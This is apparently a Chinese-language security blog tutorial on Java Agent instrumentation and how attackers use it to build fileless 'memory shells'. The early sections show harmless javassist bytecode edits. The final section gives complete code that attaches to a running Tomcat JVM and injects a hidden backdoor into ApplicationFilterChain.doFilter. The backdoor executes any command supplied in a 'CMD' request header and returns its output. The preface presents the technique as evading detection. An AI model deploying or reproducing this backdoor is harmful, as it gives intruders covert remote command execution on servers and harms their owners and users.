前言
Java Agent是Java虚拟机提供的一种机制,允许在程序运行时动态地修改或增强Java应用程序的行为,通常使用Java Instrumentation API实现,可以在Java应用程序启动时通过命令行参数或其他方式加载。
将Java Agent与内存马结合使用,可以实现一种比传统的内存马更难以检测和防御的攻击方式。攻击者可以编写一个Java Agent程序,利用Java Instrumentation API动态地修改Java应用程序的字节码,将恶意代码插入到应用程序中,并在应用程序运行时执行恶意代码。由于恶意代码直接在内存中执行,不会在磁盘上留下痕迹,因此很难被传统的防御机制检测和防御。
Java Agent
Java Agent简单来说就是JVM提供的一种动态Hook字节码的技术,通过Instrumentation(Java Agent API),开发者能够以一种无侵入的方式,在JVM加载某个class之前修改其字节码的内容,同时也支持重加载已经被加载过的class。
Java Agent目前有两种使用方式:
- 通过-javaagent参数指定agent,从而在JVM启动之前修改class内容(自JDK 1.5开始)
- 通过VirtualMachine#attach方法,将agent附加在启动后的JVM进程中,进而动态修改class内容(自JDK 1.6开始)
两种方式分别需要实现premain和agentmain方法,而这些方法又有如下四种签名,其中带有Instrumentation inst参数的方法优先级更高,会优先被调用。
1 2 3 4
| public static void agentmain(String agentArgs, Instrumentation inst); public static void agentmain(String agentArgs); public static void premain(String agentArgs, Instrumentation inst); public static void premain(String agentArgs);
|
启动时
基础概述
启动Java程序的时候,利用Java Agent需要添加-javaagent或-agentpath/-agentlib(JVMTI的实现方式)参数,Java规定Java Agent程序必须要打包成jar格式并且需要利用MANIFEST.MF文件来配置Java Agent相关参数。同时,jar包中的MANIFEST.MF文件必须指定Premain-Class项,Premain-Class指定的那个类必须实现premain方法。
1 2 3 4 5 6
| Manifest-Version: 1.0 Agent-Class: com.example.AgentMemoryShell Premain-Class: com.example.AgentMemoryShell Can-Redefine-Classes: true Can-Retransform-Classes: true
|
premain方法会在执行main方法前调用,在运行main方法前会去加载-javaagent指定的jar包里面的Premain-Class类中的premain方法。
工作原理:使用addTransformer方法注册了一个自定义的Transformer类到Java Agent,当有新类被JVM加载时,JVM会自动回调调用自定义Transformer类中的transform方法,传入该类的transform信息(类名、类加载器、类字节码等),并且可以根据传入的类信息决定是否需要修改类字节码,Java Agent修改完字节码后会将新的类字节码返回给JVM,JVM验证类和相应的修改是否合法,当符合类加载要求时,JVM会加载修改后的类字节码。

Instrumentation接口,提供用于监测运行在JVM中的Java API:
- addTransformer/removeTransformer,添加或删除ClassFileTransformer
- getAllLoadedClasses,获取所有JVM加载的类
- redefineClasses,重新定义已经加载类的字节码
- setNativeMethodPrefix,动态设置JNI前缀,可以实现Hook Native方法
- retransformClasses,重新加载已经被JVM加载过的类的字节码
ClassFileTransformer接口是一个转换类文件的代理接口,可以在获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器。

测试示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import com.alibaba.fastjson.JSON;
public class Test { public String output;
public Test(String output) { this.output = output; }
public String Print() { return "Test Class, output is " + output; }
public static void main(String[] args) { Test test = new Test("H3rmesk1r"); System.out.println(JSON.toJSON(test)); System.out.println(test.Print()); } }
|
- 创建MySelfAgent类,重写premain方法
1 2 3 4 5 6 7 8 9 10
| package javaagent;
import java.lang.instrument.Instrumentation;
public class MySelfAgent { public static void premain(String agentArgs, Instrumentation inst) { System.out.println("MySelfAgent start..."); inst.addTransformer(new MySelfTransformer()); } }
|
- 创建MySelfTransformer类,重写transform方法,利用javassist对Test类进行修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| package javaagent;
import javassist.*;
import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.security.ProtectionDomain;
public class MySelfTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if (className.equals("Test")) { try { ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(loader)); CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
CtField ctField = new CtField(classPool.get("java.lang.String"), "input", ctClass); ctField.setModifiers(Modifier.PRIVATE); ctClass.addField(ctField, CtField.Initializer.constant("javaagent")); ctClass.addMethod(CtNewMethod.setter("setInput", ctField)); ctClass.addMethod(CtNewMethod.getter("getInput", ctField)); CtMethod toString = ctClass.getDeclaredMethod("Print"); toString.setBody("return \"Test Class, input is \" + input + \", output is \" + output;");
return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } }
return null; } }
|
1 2 3 4 5
| Manifest-Version: 1.0 Premain-Class: javaagent.TestAgent Can-Redefine-Classes: true Can-Retransform-Classes: true
|
1
| java -javaagent:/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar -jar /Users/alphag0/Desktop/Code/Java/Test/out/artifacts/Test_jar/Test.jar
|

运行时
基础概述
JDK1.6后,增加了agentmain方法,可以在main方法后执行,此时便可以在程序运行时,利用Agent技术来达成一些目的,运行时Agent技术主要依靠VirtualMachine类和VirtualMachineDescriptor类。
VirtualMachine类:
- attach,可以通过attach方法传入一个JVM的PID,远程连接到JVM上
- loadAgent,向JVM注册一个代理程序Agent,在该Agent的代理程序中会得到一个Instrumentation实例,该实例可以在class加载前改变class的字节码,也可以在class加载后重新加载,在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
- detach,解出attach建立的连接
VirtualMachineDescriptor类是用于描述Java虚拟机的容器类,它封装了一个标识目标虚拟机的标识符,以及一个AttachProvider在尝试连接到虚拟机时应该使用的引用。
VirtualMachineDescriptor实例通过调用VirtualMachine#list方法创建,返回描述所有已安装Java虚拟机的完整描述符列表attach providers。
工作原理:VirtualMachine类的attach方法,可以attach到一个运行中的java进程上,之后便可以通过loadAgent方法来将agent的jar包注入到对应的进程,注入后,对应进程会调用agentmain方法。

对于已加载的类,需要调用retransformClass函数,然后由redefineClasses函数读取已加载的字节码文件后重新加载指定类的字节码。

但是使用redefineClasses时存在一些限制:
- 继承相同的父类
- 实现相同的接口
- 字段数和字段名要一致,不支持在重新加载时添加或者删除字段
- 新增或删除的方法必须是private static/final修饰的
- 可以修改方法实现
测试示例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| import com.alibaba.fastjson.JSON;
public class Test { public static String flag = "false";
public static boolean checkFlag(){ if (flag == "true") { return true; } else { return false; } }
public static void main(String[] args) throws InterruptedException { while (true) { if (checkFlag()) { System.out.println("running true..."); } else { System.out.println("running false..."); } Thread.sleep(1000); } } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| package vm;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import javassist.*;
import java.io.ByteArrayInputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import java.util.List;
public class AttachAgent {
public static void agentmain(String args, Instrumentation inst) { System.out.println("agentmain..."); inst.addTransformer(new MyTransformer(), true); Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class loadedClass : allLoadedClasses) { if (loadedClass.getName() == "Test") { try { inst.retransformClasses(loadedClass); } catch (Exception e) { e.printStackTrace(); } } } }
public static void main(String[] args) throws Exception { System.out.println("running JVM..."); List<VirtualMachineDescriptor> virtualMachineDescriptorList = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : virtualMachineDescriptorList) { System.out.println(vmd.displayName()); if (vmd.displayName().equals("Test")) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar"); virtualMachine.detach(); } } } }
class MyTransformer implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { if (className.equals("Test")) { try { ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(new LoaderClassPath(loader)); CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer), false);
CtMethod checkFlag = ctClass.getDeclaredMethod("checkFlag"); checkFlag.setBody("{System.out.println(\"Attach successfully...\");return true;}");
return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } }
return null; } }
|
1 2 3 4 5
| Manifest-Version: 1.0 Agent-Class: vm.AttachAgent Can-Retransform-Classes: true Can-Redefine-Classes: true
|

Java Agent内存马
根据Java Agent的实现原理,Agent内存马实现的思路就是找一个比较通用的类,保证每一次request请求都能调用到它的某一个方法, 然后利用javaassist插入恶意Java代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| package tomcat;
import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; import java.util.List;
public class TomcatAgent {
public static void agentmain(String args, Instrumentation inst) { System.out.println("Agentmain..."); inst.addTransformer(new TomcatTransformer(), true); Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class loadedClass : allLoadedClasses) { if (loadedClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) { try { inst.retransformClasses(loadedClass); } catch (Exception e) { e.printStackTrace(); } } } }
public static void main(String[] args) throws Exception { System.out.println("Running JVM..."); List<VirtualMachineDescriptor> virtualMachineDescriptorList = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : virtualMachineDescriptorList) { System.out.println(vmd.displayName());
if (vmd.displayName().contains("org.apache.catalina.startup.Bootstrap")) { VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("/Users/alphag0/Desktop/Code/Java/AgentMemoryShell/out/artifacts/AgentMemoryShell_jar/AgentMemoryShell.jar"); virtualMachine.detach(); System.out.println("Attach successfully..."); } } }
}
class TomcatTransformer implements ClassFileTransformer {
@Override public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) { try { ClassPool classPool = ClassPool.getDefault(); if (classBeingRedefined != null) { ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined); classPool.insertClassPath(classClassPath); }
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); CtMethod method = ctClass.getDeclaredMethod("doFilter"); method.insertBefore("javax.servlet.http.HttpServletRequest httpServletRequest = (javax.servlet.http.HttpServletRequest) request;\n" + "String cmd = httpServletRequest.getHeader(\"CMD\");\n" + "if (cmd != null){\n" + " Process process = Runtime.getRuntime().exec(cmd);\n" + " java.io.InputStream input = process.getInputStream();\n" + " java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(input));\n" + " StringBuilder sb = new StringBuilder();\n" + " String line = null;\n" + " while ((line = br.readLine()) != null){\n" + " sb.append(line + \"\\n\");\n" + " }\n" + " br.close();\n" + " input.close();\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + "}");
return ctClass.toBytecode(); } catch (Exception e) { e.printStackTrace(); } return classfileBuffer; } }
|
